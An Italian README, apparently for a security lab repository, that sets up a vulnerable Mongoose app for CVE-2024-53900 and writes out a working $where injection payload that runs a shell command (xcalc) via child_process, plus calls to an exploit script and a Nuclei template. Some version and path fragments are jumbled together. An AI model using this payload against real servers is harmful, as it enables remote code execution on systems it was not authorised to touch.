
Ambiente riproducibile e PoC per CVE-2024-53900, una RCE critica in Mongoose tramite populate().match $where. Include script di exploit automatizzato e template Nuclei per test di sicurezza.
Questa repository fornisce un ambiente vulnerabile riproducibile e un PoC per CVE-2024-53900, una vulnerabilità critica di Remote Code Execution (RCE) in Mongoose < 8.8.3.
populate().match combinato con $whereRiferimenti:
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
docker-compose up -d
Per impostazione predefinita, l'app Node.js vulnerabile viene eseguita all'interno di Docker.
Tuttavia, le applicazioni GUI (come xcalc o gnome-calculator) non si avvieranno all'interno di un container.
👉 Se vuoi dimostrare la RCE aprendo una finestra della calcolatrice:
Esegui MongoDB in Docker (come backend del database)
docker run -d --name mongo -p 27017:27017 mongo:6
Esegui l'app Node.js vulnerabile localmente
cd ~/cve-2024/app
npm install
node server.js
270175000/home/kali/cve-2024/
├── docker-compose.yml # Configurazione ambiente
├── exploit.py # Script di exploit automatizzato
├── CVE-2024-53900.yaml # Template Nuclei
├── README.md # Documentazione
├── app/ # App Node.js vulnerabile
│ ├── Dockerfile
│ ├── package.json
│ ├── server.js
│ ├── models.js
│ └── views/
└── data/ # Volume MongoDB
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
python3 exploit.py --url http://localhost:5000
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author
mongo:6188.5.0 (vulnerabile)4.18.2